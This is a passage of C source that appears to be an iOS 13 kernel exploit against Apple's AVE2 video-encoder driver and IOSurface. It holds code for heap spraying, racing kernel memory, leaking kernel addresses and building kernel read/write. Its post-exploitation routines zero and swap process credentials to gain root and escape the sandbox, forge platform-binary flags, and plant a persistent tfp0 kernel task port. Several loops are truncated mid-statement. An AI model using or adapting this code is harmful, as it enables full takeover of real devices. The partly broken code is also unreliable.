InitInfo_surfaceId; *(uint32_t*)(input_stru + 208) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 212) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 216) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 7, input_stru, 0x110, output_stru, &output_stru_size); } } void encode_client_normal222(){ *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 2020) = 160; *(uint32_t*)(inputmap_InitInfo + 2024) = 64; *(uint32_t*)(inputmap_InitInfo + 2028) = 1; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 5; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint8_t*)(inputmap_InitInfo + 13288) = 1; *(uint8_t*)(inputmap_InitInfo + 13377) = 0; *(uint32_t*)(inputmap_InitInfo + 4) = 0; *(uint32_t*)(inputmap_InitInfo + 96) = 2; { char *input_stru = calloc(1, 0x110); *(uint32_t*)(input_stru + 8) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 16) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 24) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 28) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 32) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 36) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 40) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 44) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 184) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 188) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 192) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 196) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 200) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 204) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 208) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 212) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 216) = InitInfo_surfaceId; size_t output_stru_size = 0x4; char *output_stru = calloc(1, output_stru_size); IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 7, input_stru, 0x110, output_stru, &output_stru_size); } } void spray_client(){ *(uint64_t*)(inputmap_InitInfo + 1072) = 0; pthread_t p3 = NULL; pthread_create(&p3, &pth_commAttr, (void*)race_kmem2, NULL); *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 2020) = 0xB0F0-31; *(uint32_t*)(inputmap_InitInfo + 2024) = 0x990-31; *(uint32_t*)(inputmap_InitInfo + 4) = 1; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4567; *(uint32_t*)(inputmap_InitInfo + 12) = 0; *(uint8_t*)(inputmap_InitInfo + 13288) = 1; *(uint32_t*)(inputmap_InitInfo + 96) = 39; *(uint32_t*)(inputmap_InitInfo + 1936) = 1; *(uint32_t*)(inputmap_InitInfo + 13292) = 1; *(uint32_t*)(inputmap_InitInfo + 2028) = 1; *(uint32_t*)(inputmap_InitInfo + 13388) = 5; char input_stru[0x110] = {0}; *(uint32_t*)(input_stru + 8) = InitInfo_surfaceId; // FrameQueue *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; // InitInfo *(uint64_t*)(input_stru + 16) = InitInfo_surfaceId; // ParameterSetsBuffer *(uint64_t*)(input_stru + 24) = InitInfo_surfaceId; // mbComplexityMapBuffer *(uint64_t*)(input_stru + 28) = InitInfo_surfaceId; // statsMapBuffer[0] *(uint64_t*)(input_stru + 32) = InitInfo_surfaceId; // statsMapBuffer[1] *(uint64_t*)(input_stru + 36) = InitInfo_surfaceId; // statsMapBuffer[2] *(uint64_t*)(input_stru + 40) = InitInfo_surfaceId; // statsMapBuffer[3] *(uint64_t*)(input_stru + 44) = InitInfo_surfaceId; // statsMapBuffer[4] *(uint32_t*)(input_stru + 184) = InitInfo_surfaceId; // codedOutputBuffer[0] *(uint32_t*)(input_stru + 188) = InitInfo_surfaceId; // codedOutputBuffer[1] *(uint32_t*)(input_stru + 192) = InitInfo_surfaceId; // codedOutputBuffer[2] *(uint32_t*)(input_stru + 196) = InitInfo_surfaceId; // codedOutputBuffer[3] *(uint32_t*)(input_stru + 200) = InitInfo_surfaceId; // codedOutputBuffer[4] *(uint32_t*)(input_stru + 204) = InitInfo_surfaceId; // xCodeOutputBuffer[0] *(uint32_t*)(input_stru + 208) = InitInfo_surfaceId; // xCodeOutputBuffer[1] *(uint32_t*)(input_stru + 212) = InitInfo_surfaceId; // codedHeaderBuffer [0] *Must Specify *(uint32_t*)(input_stru + 216) = InitInfo_surfaceId; // codedHeaderBuffer [1] *Must Specify *(uint32_t*)(input_stru + 220) = InitInfo_surfaceId; // codedHeaderBuffer [2] *(uint32_t*)(input_stru + 224) = InitInfo_surfaceId; // codedHeaderBuffer [3] *(uint32_t*)(input_stru + 228) = InitInfo_surfaceId; // codedHeaderBuffer [4] *(uint32_t*)(input_stru + 232) = InitInfo_surfaceId; // sliceHeaderBuffer[0] *(uint32_t*)(input_stru + 236) = InitInfo_surfaceId; // sliceHeaderBuffer[1] *(uint32_t*)(input_stru + 240) = InitInfo_surfaceId; // sliceHeaderBuffer[2] *(uint32_t*)(input_stru + 244) = InitInfo_surfaceId; // sliceHeaderBuffer[3] *(uint32_t*)(input_stru + 248) = InitInfo_surfaceId; // sliceHeaderBuffer[4] *(uint32_t*)(input_stru + 48) = InitInfo_surfaceId; // userDPBBuffer[0][0] ioSurface *(uint32_t*)(input_stru + 52) = InitInfo_surfaceId; // userDPBBuffer[0][1] ioSurface *(uint32_t*)(input_stru + 56) = InitInfo_surfaceId; // userDPBBuffer[1][0] ioSurface *(uint32_t*)(input_stru + 60) = InitInfo_surfaceId; // userDPBBuffer[1][1] ioSurface *(uint32_t*)(input_stru + 64) = InitInfo_surfaceId; // userDPBBuffer[2][0] ioSurface *(uint32_t*)(input_stru + 68) = InitInfo_surfaceId; // userDPBBuffer[2][1] ioSurface *(uint32_t*)(input_stru + 72) = InitInfo_surfaceId; // userDPBBuffer[3][0] ioSurface *(uint32_t*)(input_stru + 76) = InitInfo_surfaceId; // userDPBBuffer[3][1] ioSurface *(uint32_t*)(input_stru + 80) = InitInfo_surfaceId; // userDPBBuffer[4][0] ioSurface *(uint32_t*)(input_stru + 84) = InitInfo_surfaceId; // userDPBBuffer[4][1] ioSurface *(uint32_t*)(input_stru + 88) = InitInfo_surfaceId; // userDPBBuffer[5][0] ioSurface *(uint32_t*)(input_stru + 92) = InitInfo_surfaceId; // userDPBBuffer[5][1] ioSurface *(uint32_t*)(input_stru + 96) = InitInfo_surfaceId; // userDPBBuffer[6][0] ioSurface *(uint32_t*)(input_stru + 100) = InitInfo_surfaceId; // userDPBBuffer[6][1] ioSurface *(uint32_t*)(input_stru + 104) = InitInfo_surfaceId; // userDPBBuffer[7][0] ioSurface *(uint32_t*)(input_stru + 108) = InitInfo_surfaceId; // userDPBBuffer[7][1] ioSurface *(uint32_t*)(input_stru + 112) = InitInfo_surfaceId; // userDPBBuffer[8][0] ioSurface *(uint32_t*)(input_stru + 116) = InitInfo_surfaceId; // userDPBBuffer[8][1] ioSurface *(uint32_t*)(input_stru + 120) = InitInfo_surfaceId; // userDPBBuffer[9][0] ioSurface *(uint32_t*)(input_stru + 124) = InitInfo_surfaceId; // userDPBBuffer[9][1] ioSurface *(uint32_t*)(input_stru + 128) = InitInfo_surfaceId; // userDPBBuffer[10][0] ioSurface *(uint32_t*)(input_stru + 132) = InitInfo_surfaceId; // userDPBBuffer[10][1] ioSurface *(uint32_t*)(input_stru + 136) = InitInfo_surfaceId; // userDPBBuffer[11][0] ioSurface *(uint32_t*)(input_stru + 140) = InitInfo_surfaceId; // userDPBBuffer[11][1] ioSurface *(uint32_t*)(input_stru + 144) = InitInfo_surfaceId; // userDPBBuffer[12][0] ioSurface *(uint32_t*)(input_stru + 148) = InitInfo_surfaceId; // userDPBBuffer[12][1] ioSurface *(uint32_t*)(input_stru + 152) = InitInfo_surfaceId; // userDPBBuffer[13][0] ioSurface *(uint32_t*)(input_stru + 156) = InitInfo_surfaceId; // userDPBBuffer[13][1] ioSurface *(uint32_t*)(input_stru + 160) = InitInfo_surfaceId; // userDPBBuffer[14][0] ioSurface *(uint32_t*)(input_stru + 164) = InitInfo_surfaceId; // userDPBBuffer[14][1] ioSurface *(uint32_t*)(input_stru + 168) = InitInfo_surfaceId; // userDPBBuffer[15][0] ioSurface *(uint32_t*)(input_stru + 172) = InitInfo_surfaceId; // userDPBBuffer[15][1] ioSurface *(uint32_t*)(input_stru + 176) = InitInfo_surfaceId; // userDPBBuffer[16][0] ioSurface *(uint32_t*)(input_stru + 180) = InitInfo_surfaceId; // userDPBBuffer[16][1] ioSurface *(uint8_t*)(input_stru + 256) = 1; *(uint64_t*)(input_stru + 264) = 0x2222222222222222; size_t output_stru_size = 4; char output_stru[4] = {0}; IOConnectCallStructMethod(AppleAVE2UserClient_ioconn, 7, input_stru, 0x110, output_stru, &output_stru_size); } uint8_t check_if_valid_kernel_ptr(uint64_t target_ptr){ if(((target_ptr >> 32) & 0xFFFFFFF0) == 0xFFFFFFF0) return 1; return 0; } uint64_t find_proc_byPID(pid_t target_pid) { uint64_t found_proc = KernelRead_8bytes(HARDCODED_allproc + kaslr); while(1){ // this loop start from the most recent new proc if(!found_proc) break; pid_t pid_i = KernelRead_4bytes(found_proc + OFFSET_bsd_info_pid); if(target_pid == pid_i) break; found_proc = KernelRead_8bytes(found_proc); } return found_proc; } #define PROC_ALL_PIDS 1 extern int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize); extern int proc_pidpath(int pid, void * buffer, uint32_t buffersize); pid_t look_for_proc(char *proc_name){ pid_t *pids = calloc(1, 3000 * sizeof(pid_t)); int procs_cnt = proc_listpids(PROC_ALL_PIDS, 0, pids, 3000); if(procs_cnt > 3000){ pids = realloc(pids, procs_cnt * sizeof(pid_t)); procs_cnt = proc_listpids(PROC_ALL_PIDS, 0, pids, procs_cnt); } char pathBuffer[4096]; for (int i=(procs_cnt-1); i>=0; i--) { if(pids[i] == 0){continue;} bzero(pathBuffer, 4096); if(proc_pidpath(pids[i], pathBuffer, sizeof(pathBuffer))){ //printf(" pid(%d): %s\n", pids[i], pathBuffer); if(!strcmp(proc_name, pathBuffer)){ free(pids); return pids[i]; } } } free(pids); return 0; } char *string_get_basename(const char *str) { char *base = strrchr(str, '/'); return base ? base+1 : str; } pid_t look_for_proc_basename(char *proc_name){ pid_t *pids = calloc(1, 3000 * sizeof(pid_t)); int procs_cnt = proc_listpids(PROC_ALL_PIDS, 0, pids, 3000); if(procs_cnt > 3000){ pids = realloc(pids, procs_cnt * sizeof(pid_t)); procs_cnt = proc_listpids(PROC_ALL_PIDS, 0, pids, procs_cnt); } char pathBuffer[4096]; for (int i=(procs_cnt-1); i>=0; i--) { if(pids[i] == 0){continue;} bzero(pathBuffer, 4096); if(proc_pidpath(pids[i], pathBuffer, sizeof(pathBuffer))){ extern char *string_get_basename(const char *str); char *ww = string_get_basename(pathBuffer); if(!strcmp(proc_name, ww)){ free(pids); return pids[i]; } } } free(pids); return 0; } struct paveway_sprayAddrs_pack{ uint64_t *paveway_sprayAddrs; uint32_t paveway_sprayCnt; }; struct paveway_sprayAddrs_pack *_pack_paveway = 0; uint32_t _pack_pavewayCnt = 0; uint64_t hohoo(){ // LGB at Texas Instrument! uint64_t conti_seqno[2] = {0}; uint64_t *paveway_sprayAddrs = calloc(1, 300 * 8); // 300 is default storage unit count of paveway_sprayAddrs uint32_t paveway_sprayCnt = 0; while(1){ uint64_t new_addr = alloc_kernel_40_mem(); paveway_sprayAddrs[paveway_sprayCnt] = new_addr; paveway_sprayCnt ++; for(int j=0; j criticle_index){ if(leaked_osdata && leaked_osdata == live_40buf){ // Target address been taken again, indicating was failure attempt, leaked_osdata is a false result (printf)("**** 0x%llx Target address been taken again, indicating that was failure attempt.. reattemping...\n", live_40buf); leaked_osdata = 0; i = 0; } } (printf)("spraymap: 0x%llx\n", live_40buf); release_kernel_40_mem(live_40buf); } return leaked_osdata; } uint32_t TT1_hit_holes[TT1_holes_count] = {0}; uint32_t TT1_hit_cnt = 0; void hohoo222(){ bzero(TT1_hit_holes, sizeof(TT1_hit_holes)); TT1_hit_cnt = 0; uint64_t leaked_osdata = 0; while(1){ leaked_osdata = hohoo(); if(leaked_osdata) break; } TT2_send_spray(); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD701); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD751); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD7A1); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD7F1); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD841); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD891); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD8E1); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD931); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xD9D1); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDA21); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDA71); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDAC1); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDB11); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDB61); IOSurfaceRootUserClient_sRemoveValue(InitInfo_surfaceId, 0xDBB1); *(uint64_t*)(inputmap_InitInfo + 5936) = leaked_osdata + 0x18; alloc_kernel_40_mem_contains_iosurfacebuf(); empty_kernel_40_mem(leaked_osdata + 0x20); uint32_t confirm_TT1_sprayid = 0; uint8_t failure_case_all7 = 0; char *ccc = IOSurfaceRootUserClient_sCopyValue(InitInfo_surfaceId, TT1_sprayid); ccc = ccc + 0x10; confirm_TT1_sprayid = TT1_sprayid; for(int i=0; ienable_switch_one_SetSessionSettings // always 0 *(forge_clientbuf + 0x27B59) = 0x1; } #pragma mark ---- Research Purpose ---- Basic for post-exp extern char *Build_resource_path(char *filename); extern int runCommand(const char *cmd, ...); extern int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t)); #define copyfile(X,Y) (copyfile)(X, Y, 0, COPYFILE_ALL|COPYFILE_RECURSIVE|COPYFILE_NOFOLLOW_SRC); void run_post_exp(){ extern void safepatch_swap_unsandbox_and_root(uint64_t target_proc); extern void safepatch_unswap_unsandbox_and_root(uint64_t target_proc); // TODO with TFP0 safepatch_swap_unsandbox_and_root(our_proc_kAddr); (printf)("now uid: %d\n", getuid()); extern void build_tfp0_persistence_for_research_purpose(void); build_tfp0_persistence_for_research_purpose(); extern void patch_codesign(void); safepatch_unswap_unsandbox_and_root(our_proc_kAddr); } #pragma mark ---- Research Purpose ---- Install tfp0-persis program uint32_t OFFSET_bsd_info_p_ucred = 0x100; uint32_t OFFSET_task_bsd_info = 0; // auto-gen: task->bsd_info uint64_t KernelLeak_portAddr(uint64_t target_task, uint32_t portname){ // Leak kernel ipc port stru address of the input port uint64_t leaked_port_stru_kAddr = 0; mach_port_t stored_ports[3] = {0}; stored_ports[0] = mach_task_self(); stored_ports[2] = portname; mach_ports_register(mach_task_self(), stored_ports, 3); leaked_port_stru_kAddr = KernelRead_8bytes(target_task + OFFSET_task_itk_registered + 0x10); stored_ports[2] = 0; mach_ports_register(mach_task_self(), stored_ports, 3); return leaked_port_stru_kAddr; } uint32_t KernelLeak_portAddr2(uint64_t target_task, uint64_t portStru){ // Leak kernel ipc port stru address of the input port mach_port_t *stored_ports = NULL; mach_msg_type_number_t stored_portsCnt = 3; KernelWrite_8bytes(target_task + OFFSET_task_itk_registered + 0x10, portStru); mach_ports_lookup(mach_task_self(), &stored_ports, &stored_portsCnt); uint32_t rt_p = stored_ports[2]; vm_deallocate(mach_task_self(), (vm_address_t)stored_ports, 4 * stored_portsCnt); return rt_p; } void patch_install_tfp0(uint64_t target_task, uint64_t safe_tfp0){ KernelWrite_8bytes(target_task + OFFSET_task_itk_task_access, safe_tfp0); } void patch_remove_tfp0(uint64_t target_task){ KernelWrite_8bytes(target_task + OFFSET_task_itk_task_access, 0); } mach_port_t patch_retrieve_tfp0(){ tfp0_port = 0; task_get_special_port(mach_task_self(), TASK_ACCESS_PORT, &tfp0_port); // TASK_ACCESS_PORT is 8 in ios13 (for non-PAC), for PAC is 9 return tfp0_port; } void patch_TF_PLATFORM(uint64_t target_task){ uint32_t old_t_flags = KernelRead_4bytes(target_task + OFFSET_task_t_flags); old_t_flags |= 0x00000400; // TF_PLATFORM KernelWrite_4bytes(target_task + OFFSET_task_t_flags, old_t_flags); // used in kernel func: csproc_get_platform_binary } uint64_t ubc_cs_blob_get(uint64_t vp, int cputype, uint64_t offset){ uint64_t uip = 0; // struct ubc_info *uip; uint64_t blob = 0; if ( vp && KernelRead_2bytes(vp + 112) == 1 && (uip = KernelRead_8bytes(vp + 120)) != 0 ){ for (blob = KernelRead_8bytes(uip + 80); blob; blob = KernelRead_8bytes(blob)){ if (cputype != -1 && KernelRead_4bytes(blob + 8) == cputype) break; if(offset != -1){ uint64_t offset_in_blob = offset - KernelRead_8bytes(blob + 16); if(offset_in_blob >= KernelRead_8bytes(blob + 24) && offset_in_blob < KernelRead_8bytes(blob + 32)) break; } } } return blob; } void patch_CS_PLATFORM_BINARY(uint64_t target_proc){ uint64_t p_textvp = KernelRead_8bytes(target_proc + 568); // confirmed same offsets on pac if(!p_textvp) return; uint64_t p_textoff = KernelRead_8bytes(target_proc + 576); uint64_t csblob = ubc_cs_blob_get(p_textvp, -1, p_textoff); if(csblob){ KernelWrite_1byte(csblob + 168, 1); // csblob->csb_platform_binary } } void patch_unsandbox_and_root(uint64_t target_proc, bool patch_root){ uint64_t proc_p_ucred = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); uint64_t p_ucred_obtain_rootAndUnsandbox = proc_p_ucred + 0x18; char *old_cred = calloc(1, 0x68); KernelRead_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); uint64_t old_cr_label = *(uint64_t*)(old_cred + 0x60); if(patch_root) bzero(old_cred, 0x68); (printf)("old_cr_label: 0x%llx\n", old_cr_label); if(old_cr_label){ *(uint64_t*)(old_cred + 0x60) = old_cr_label; (printf)("old_cr_label+0: 0x%llx\n", KernelRead_8bytes(old_cr_label)); (printf)("old_cr_label+0x8: 0x%llx\n", KernelRead_8bytes(old_cr_label + 0x8)); (printf)("old_cr_label+0x10: 0x%llx\n", KernelRead_8bytes(old_cr_label + 0x10)); KernelWrite_8bytes(old_cr_label+0x10, 0x0); } KernelWrite_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); free(old_cred); } char *old_cred = NULL; uint64_t old_cr_label_content = 0; void safepatch_swap_unsandbox_and_root(uint64_t target_proc){ uint64_t proc_p_ucred = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); uint64_t p_ucred_obtain_rootAndUnsandbox = proc_p_ucred + 0x18; if(!old_cred){ old_cred = calloc(1, 0x68); } KernelRead_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); char *tmp_cred = calloc(1, 0x68); memcpy(tmp_cred, old_cred, 0x68); uint64_t old_cr_label = *(uint64_t*)(old_cred + 0x60); bzero(tmp_cred, 0x68); if(old_cr_label){ *(uint64_t*)(tmp_cred + 0x60) = old_cr_label; old_cr_label_content = KernelRead_8bytes(old_cr_label+0x10); KernelWrite_8bytes(old_cr_label+0x10, 0x0); } KernelWrite_anySize(p_ucred_obtain_rootAndUnsandbox, tmp_cred, 0x68); free(tmp_cred); } void safepatch_unswap_unsandbox_and_root(uint64_t target_proc){ uint64_t proc_p_ucred = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); uint64_t p_ucred_obtain_rootAndUnsandbox = proc_p_ucred + 0x18; KernelWrite_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); uint64_t old_cr_label = *(uint64_t*)(old_cred + 0x60); if(old_cr_label){ KernelWrite_8bytes(old_cr_label+0x10, old_cr_label_content); } } uint64_t myold_cred = 0; void safepatch_swap_kernel_cred(uint64_t target_proc){ uint64_t kernel_proc = find_proc_byPID(0); uint64_t kernel_p_ucred = KernelRead_8bytes(kernel_proc + OFFSET_bsd_info_p_ucred); myold_cred = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, kernel_p_ucred); } void safepatch_unswap_kernel_cred(uint64_t target_proc){ KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, myold_cred); } pid_t spindump_pid = 0; uint64_t spindump_proc_cred = 0; uint64_t myold_cred2 = 0; void safepatch_swap_spindump_cred(uint64_t target_proc){ if(spindump_proc_cred == 0){ spindump_pid = 0; if(!(spindump_pid = look_for_proc("/usr/sbin/spindump"))){ // if spindump is not running at moment if(fork() == 0){ daemon(1, 1); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); execvp("/usr/sbin/spindump", NULL); exit(1); } while(!(spindump_pid = look_for_proc("/usr/sbin/spindump"))){} } kill(spindump_pid, SIGSTOP); uint64_t spindump_proc = find_proc_byPID(spindump_pid); spindump_proc_cred = KernelRead_8bytes(spindump_proc + OFFSET_bsd_info_p_ucred); uint64_t target_task = KernelRead_8bytes(target_proc + OFFSET_bsd_info_task); patch_TF_PLATFORM(target_task); // this is a must-patch in order to get task-mani api to work } myold_cred2 = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, spindump_proc_cred); } void safepatch_unswap_spindump_cred(uint64_t target_proc){ if(spindump_proc_cred){ kill(spindump_pid, SIGCONT); kill(spindump_pid, SIGKILL); spindump_pid = 0; spindump_proc_cred = 0; } KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, myold_cred2); } pid_t containermanagerd_pid = 0; uint64_t containermanagerd_proc_cred = 0; uint64_t myold_cred3 = 0; void safepatch_swap_containermanagerd_cred(uint64_t target_proc){ if(containermanagerd_proc_cred == 0){ containermanagerd_pid = 0; if(!(containermanagerd_pid = look_for_proc_basename("containermanagerd"))){ // containermanagerd should always be runnning } uint64_t containermanagerd_proc = find_proc_byPID(containermanagerd_pid); containermanagerd_proc_cred = KernelRead_8bytes(containermanagerd_proc + OFFSET_bsd_info_p_ucred); uint64_t target_task = KernelRead_8bytes(target_proc + OFFSET_bsd_info_task); patch_TF_PLATFORM(target_task); // this is a must-patch in order to get task-mani api to work } myold_cred3 = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, containermanagerd_proc_cred); } void safepatch_unswap_containermanagerd_cred(uint64_t target_proc){ KernelWrite_8bytes(target_proc + OFFSET_bsd_info_p_ucred, myold_cred3); } void patch_root(uint64_t target_proc){ uint64_t proc_p_ucred = KernelRead_8bytes(target_proc + OFFSET_bsd_info_p_ucred); uint64_t p_ucred_obtain_rootAndUnsandbox = proc_p_ucred + 0x18; char *old_cred = calloc(1, 0x68); KernelRead_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); uint64_t old_cr_label = *(uint64_t*)(old_cred + 0x60); bzero(old_cred, 0x68); if(old_cr_label){ *(uint64_t*)(old_cred + 0x60) = old_cr_label; } KernelWrite_anySize(p_ucred_obtain_rootAndUnsandbox, old_cred, 0x68); free(old_cred); } uint64_t leaked_MIDIServerPort_addr = 0; uint64_t seek_out_proc_who_request_tfp0() { uint64_t proc = KernelRead_8bytes(kaslr + HARDCODED_allproc); for (int i=0; i < 50; i++) { // this loop start from the most recent new proc if(!proc) return 0; uint64_t task = KernelRead_8bytes(proc + 0x10); if(!task) goto continue_1; uint64_t task_accesport = KernelRead_8bytes(task + OFFSET_task_itk_registered + 0x10); // check last item in itk_registered if(!task_accesport || task_accesport != leaked_MIDIServerPort_addr) goto continue_1; // attach tfp0 port patch_install_tfp0(task, tfp0_portStru); // Awaiting util proc shown sign of took usage of tfp0 while((task_accesport = KernelRead_8bytes(task + OFFSET_task_itk_registered + 0x10))){ } // Remove the tfp0 pointer avoid dealloc problem patch_remove_tfp0(task); continue_1: proc = KernelRead_8bytes(proc); } return 0; } void build_tfp0_persistence_for_research_purpose(){ pid_t child_pid = fork(); if(child_pid == 0){ daemon(1, 1); do{ patch_retrieve_tfp0(); }while(tfp0_port == 0); uint64_t child_proc = find_proc_byPID(getpid()); uint64_t child_task = KernelRead_8bytes(child_proc + 0x10); mach_port_t midi_bsport = 0; extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); bootstrap_look_up(bootstrap_port, "com.apple.midiserver", &midi_bsport); if(midi_bsport) leaked_MIDIServerPort_addr = KernelLeak_portAddr(child_task, midi_bsport); int old_v = 0; while(1){ uint32_t midiserver_ref = KernelRead_4bytes(leaked_MIDIServerPort_addr + offsetof(struct ipc_port, ip_references)); if(!old_v || old_v > midiserver_ref) old_v = midiserver_ref; if(midiserver_ref > old_v){ old_v = midiserver_ref; seek_out_proc_who_request_tfp0(); } sleep(1); } // shoud never reach here } uint64_t child_proc = find_proc_byPID(child_pid); uint64_t child_task = KernelRead_8bytes(child_proc + 0x10); patch_install_tfp0(child_task, tfp0_portStru); } #pragma mark ---- exp ---- Convert R/W prim to TFP0 void ios13_kernel_pwn(io_connect_t ioconn, io_connect_t surface_ioconn){ pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL); uint64_t InitInfo_map_addr = 0, InitInfo_map_size = 0; InitInfo_surfaceId = IOSurfaceRootUserClient_create_surface_map(surface_ioconn, &InitInfo_map_addr, (uint32_t*)&InitInfo_map_size); if(!InitInfo_surfaceId){ (printf)("exp failed!\n"); exit(1); } (printf)("InitInfo_surfaceId: 0x%x\n", InitInfo_surfaceId); Init_spraydata_for_TT1(InitInfo_surfaceId); Init_spraydata_for_TT2(InitInfo_surfaceId); uint64_t *remap_local_addr = 0; Send_overwritting_iosurfaceMap(InitInfo_map_addr, (uint64_t *)&remap_local_addr); inputmap_InitInfo = (char*)remap_local_addr; if(setjmp(reattempt_jmpb)){ (printf)("RRRReatrmpe 9afioasf..\n"); clean_up_everything(); } add_new_client(); add_new_client(); add_new_client(); add_new_client(); add_new_client(); add_new_client(); add_new_client(); *(uint32_t*)(inputmap_InitInfo + 13344) = 1; *(uint32_t*)(inputmap_InitInfo + 13368) = 1; *(uint32_t*)(inputmap_InitInfo + 2020) = 160; *(uint32_t*)(inputmap_InitInfo + 2024) = 64; *(uint32_t*)(inputmap_InitInfo + 0x10) = 0x4569; *(uint32_t*)(inputmap_InitInfo + 12) = 5; *(uint64_t*)(inputmap_InitInfo + 5936) = 0; *(uint8_t*)(inputmap_InitInfo + 13377) = 1; *(uint32_t*)(inputmap_InitInfo + 2028) = 1; *(uint8_t*)(inputmap_InitInfo + 13288) = 1; { char input_stru[0x110] = {0}; *(uint32_t*)(input_stru + 8) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 12) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 16) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 24) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 28) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 32) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 36) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 40) = InitInfo_surfaceId; *(uint64_t*)(input_stru + 44) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 184) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 188) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 192) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 196) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 200) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 204) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 208) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 212) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 216) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 220) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 224) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 228) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 232) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 236) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 240) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 244) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 248) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 48) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 52) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 56) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 60) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 64) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 68) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 72) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 76) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 80) = InitInfo_surfaceId; *(uint32_t*)(input_stru + 84) = InitInfo_surfaceId; 